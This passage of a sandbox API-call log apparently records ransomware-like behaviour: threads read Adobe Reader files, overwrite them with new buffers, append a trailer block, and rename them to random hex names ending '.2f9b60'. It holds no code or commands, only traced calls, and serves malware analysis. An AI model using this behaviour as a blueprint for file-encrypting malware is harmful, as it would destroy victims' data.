returned 0x3ced8f06 [0156.401] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0xea72901 [0156.401] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x37cbc6be [0156.401] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x1ca9082e [0156.401] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x7c1d6c83 [0156.401] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x25c78a2d [0156.401] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x7f7e5d3 [0156.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc560 [0156.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24b20 [0156.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc590 [0156.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24b20) returned 1 [0156.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc530) returned 1 [0156.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18c30 [0156.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24b20 [0156.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a352c0 [0156.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a38ed0 [0156.414] ReadFile (in: hFile=0x1598, lpBuffer=0x42a352c0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3367fcf0, lpOverlapped=0x0 | out: lpBuffer=0x42a352c0*, lpNumberOfBytesRead=0x3367fcf0*=0x1e00, lpOverlapped=0x0) returned 1 [0158.850] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.850] WriteFile (hFile=0x1598, lpBuffer=0x42a38ed0, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3367fcf4, lpOverlapped=0x0) [0186.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca5e0 [0186.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca610 [0186.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca610) returned 1 [0186.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a38ed0) returned 1 [0186.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a352c0) returned 1 [0186.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24b20) returned 1 [0186.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18c30) returned 1 [0186.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca610 [0186.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18c30 [0186.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24b20 [0186.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca640 [0186.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca640) returned 1 [0186.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca640 [0186.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca670 [0186.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca6a0 [0186.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca6a0) returned 1 [0186.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24b20) returned 1 [0186.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18c30) returned 1 [0186.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102fa0 [0186.682] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.682] WriteFile (in: hFile=0x1598, lpBuffer=0x43102fa0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3367fe10, lpOverlapped=0x0 | out: lpBuffer=0x43102fa0*, lpNumberOfBytesWritten=0x3367fe10*=0x108, lpOverlapped=0x0) returned 1 [0201.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc740 [0201.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc740) returned 1 [0201.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc740 [0201.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc710 [0201.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc710) returned 1 [0201.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d2b0 [0201.045] sprintf (in: _Dest=0x1ce5d2b0, _Format="%c%c" | out: _Dest="03") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2b2, _Format="%c%c" | out: _Dest="45") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2b4, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2b6, _Format="%c%c" | out: _Dest="70") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2b8, _Format="%c%c" | out: _Dest="af") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2ba, _Format="%c%c" | out: _Dest="49") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2bc, _Format="%c%c" | out: _Dest="24") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2be, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2c0, _Format="%c%c" | out: _Dest="06") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2c2, _Format="%c%c" | out: _Dest="b8") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2c4, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2c6, _Format="%c%c" | out: _Dest="87") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2c8, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2ca, _Format="%c%c" | out: _Dest="cc") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2cc, _Format="%c%c" | out: _Dest="a7") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2ce, _Format="%c%c" | out: _Dest="cc") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2d0, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.045] sprintf (in: _Dest=0x1ce5d2d2, _Format="%c%c" | out: _Dest="58") returned 2 [0201.046] sprintf (in: _Dest=0x1ce5d2d4, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.046] sprintf (in: _Dest=0x1ce5d2d6, _Format="%c%c" | out: _Dest="48") returned 2 [0201.046] sprintf (in: _Dest=0x1ce5d2d8, _Format="%c%c" | out: _Dest="0d") returned 2 [0201.046] sprintf (in: _Dest=0x1ce5d2da, _Format="%c%c" | out: _Dest="02") returned 2 [0201.046] RtlInitAnsiString (in: DestinationString=0x3367fe88, SourceString="0345a070af4924f106b8c187cfcca7ccf258f7480d02" | out: DestinationString="0345a070af4924f106b8c187cfcca7ccf258f7480d02") [0201.046] RtlAnsiStringToUnicodeString (in: DestinationString=0x3367fe58, SourceString="0345a070af4924f106b8c187cfcca7ccf258f7480d02", AllocateDestinationString=1 | out: DestinationString="0345a070af4924f106b8c187cfcca7ccf258f7480d02") returned 0x0 [0201.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a10f0 [0201.047] wcscat (in: _Dest=0x43189940, _Source="0345a070af4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0345a070af4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0345a070af4" [0201.047] wcscat (in: _Dest=0x43189940, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0345a070af4.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0345a070af4.2f9b60" [0201.047] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0345a070af4.2f9b60", NtPathName=0x3367fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0345a070af4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314aea0 Thread: id = 2593 os_tid = 0x20f0 [0156.258] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq")) returned 0x20 [0156.258] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ", dwFileAttributes=0x20) returned 1 [0156.259] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7f8 [0156.259] GetFileSizeEx (in: hFile=0x7f8, lpFileSize=0x3308fcc0 | out: lpFileSize=0x3308fcc0*=7680) returned 1 [0156.259] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.259] ReadFile (in: hFile=0x7f8, lpBuffer=0x3308fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3308fc88, lpOverlapped=0x0 | out: lpBuffer=0x3308fc40*, lpNumberOfBytesRead=0x3308fc88*=0x4, lpOverlapped=0x0) returned 1 [0156.414] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc530 [0156.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc5c0 [0156.415] NtQuerySystemTime (in: CurrentTime=0x3308fb80 | out: CurrentTime=0x3308fb80*=132462177615454000) returned 0x0 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x4f98f2e9 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x1e7708ce [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x2f0974d8 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x56ad8d19 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x1b59de4d [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x663a91f8 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x8f1f837 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x2bae3161 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x13ab2783 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x15bb05ab [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x3482f66b [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x4c9ce26b [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0xbbe9bd0 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x3d5d9864 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x40b68821 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x508ae54f [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x673eeb56 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x18c503fd [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x2b02ce61 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x6d266ab2 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x8288848 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0xd992559 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0xf3f0fa7 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x5bfb2650 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x7307b033 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x7bbf6355 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x47a1745a [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x374bf14f [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x70fc250 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x62a1a884 [0156.415] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x10604fe [0156.416] RtlRandomEx (in: Seed=0x3308fb70 | out: Seed=0x3308fb70) returned 0x4fa01feb [0156.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc5f0 [0156.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24ba0 [0156.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc620 [0156.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24ba0) returned 1 [0156.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc5c0) returned 1 [0156.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18c80 [0156.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24ba0 [0156.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a3cae0 [0156.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a409e0 [0156.430] ReadFile (in: hFile=0x7f8, lpBuffer=0x42a3cae0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3308fb70, lpOverlapped=0x0 | out: lpBuffer=0x42a3cae0*, lpNumberOfBytesRead=0x3308fb70*=0x1e00, lpOverlapped=0x0) returned 1 [0158.869] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.869] WriteFile (hFile=0x7f8, lpBuffer=0x42a409e0, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3308fb74, lpOverlapped=0x0) [0186.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca2e0 [0186.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca310 [0186.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca310) returned 1 [0186.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a409e0) returned 1 [0186.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a3cae0) returned 1 [0186.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24ba0) returned 1 [0186.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18c80) returned 1 [0186.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca310 [0186.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18c80 [0186.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24ba0 [0186.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca340 [0186.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca340) returned 1 [0186.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca340 [0186.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca370 [0186.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca3a0 [0186.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca3a0) returned 1 [0186.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24ba0) returned 1 [0186.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18c80) returned 1 [0186.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102c70 [0186.645] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.645] WriteFile (in: hFile=0x7f8, lpBuffer=0x43102c70*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3308fc90, lpOverlapped=0x0 | out: lpBuffer=0x43102c70*, lpNumberOfBytesWritten=0x3308fc90*=0x108, lpOverlapped=0x0) returned 1 [0201.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b240 [0201.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b240) returned 1 [0201.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b240 [0201.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b210 [0201.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b210) returned 1 [0201.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d2b0 [0201.085] sprintf (in: _Dest=0x1ce5d2b0, _Format="%c%c" | out: _Dest="0c") returned 2 [0201.085] sprintf (in: _Dest=0x1ce5d2b2, _Format="%c%c" | out: _Dest="c2") returned 2 [0201.085] sprintf (in: _Dest=0x1ce5d2b4, _Format="%c%c" | out: _Dest="22") returned 2 [0201.085] sprintf (in: _Dest=0x1ce5d2b6, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.085] sprintf (in: _Dest=0x1ce5d2b8, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.085] sprintf (in: _Dest=0x1ce5d2ba, _Format="%c%c" | out: _Dest="4d") returned 2 [0201.085] sprintf (in: _Dest=0x1ce5d2bc, _Format="%c%c" | out: _Dest="37") returned 2 [0201.085] sprintf (in: _Dest=0x1ce5d2be, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.085] sprintf (in: _Dest=0x1ce5d2c0, _Format="%c%c" | out: _Dest="83") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2c2, _Format="%c%c" | out: _Dest="8f") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2c4, _Format="%c%c" | out: _Dest="8d") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2c6, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2c8, _Format="%c%c" | out: _Dest="50") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2ca, _Format="%c%c" | out: _Dest="7f") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2cc, _Format="%c%c" | out: _Dest="6a") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2ce, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2d0, _Format="%c%c" | out: _Dest="b3") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2d2, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2d4, _Format="%c%c" | out: _Dest="93") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2d6, _Format="%c%c" | out: _Dest="96") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2d8, _Format="%c%c" | out: _Dest="9d") returned 2 [0201.086] sprintf (in: _Dest=0x1ce5d2da, _Format="%c%c" | out: _Dest="65") returned 2 [0201.086] RtlInitAnsiString (in: DestinationString=0x3308fd08, SourceString="0cc222eed84d378a838f8dbc507f6a1eb3b493969d65" | out: DestinationString="0cc222eed84d378a838f8dbc507f6a1eb3b493969d65") [0201.086] RtlAnsiStringToUnicodeString (in: DestinationString=0x3308fcd8, SourceString="0cc222eed84d378a838f8dbc507f6a1eb3b493969d65", AllocateDestinationString=1 | out: DestinationString="0cc222eed84d378a838f8dbc507f6a1eb3b493969d65") returned 0x0 [0201.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a1240 [0201.087] wcscat (in: _Dest=0x43189b20, _Source="0cc222eed84" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cc222eed84") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cc222eed84" [0201.087] wcscat (in: _Dest=0x43189b20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cc222eed84.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cc222eed84.2f9b60" [0201.087] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cc222eed84.2f9b60", NtPathName=0x3308fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\0cc222eed84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314b0e0 Thread: id = 2594 os_tid = 0x20f4 [0156.261] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra")) returned 0x20 [0156.261] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA", dwFileAttributes=0x20) returned 1 [0156.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6b4 [0156.262] GetFileSizeEx (in: hFile=0x6b4, lpFileSize=0x3370f800 | out: lpFileSize=0x3370f800*=8192) returned 1 [0156.262] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.262] ReadFile (in: hFile=0x6b4, lpBuffer=0x3370f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3370f7c8, lpOverlapped=0x0 | out: lpBuffer=0x3370f780*, lpNumberOfBytesRead=0x3370f7c8*=0x4, lpOverlapped=0x0) returned 1 [0156.613] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc800 [0156.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc890 [0156.613] NtQuerySystemTime (in: CurrentTime=0x3370f6c0 | out: CurrentTime=0x3370f6c0*=132462177617482000) returned 0x0 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x3af30094 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x694826f7 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x10f36962 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0xd96417f [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x4520eca7 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x78138c15 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x7437f847 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x77b1d269 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x572dd148 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x57909d20 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x5ec748a7 [0156.613] 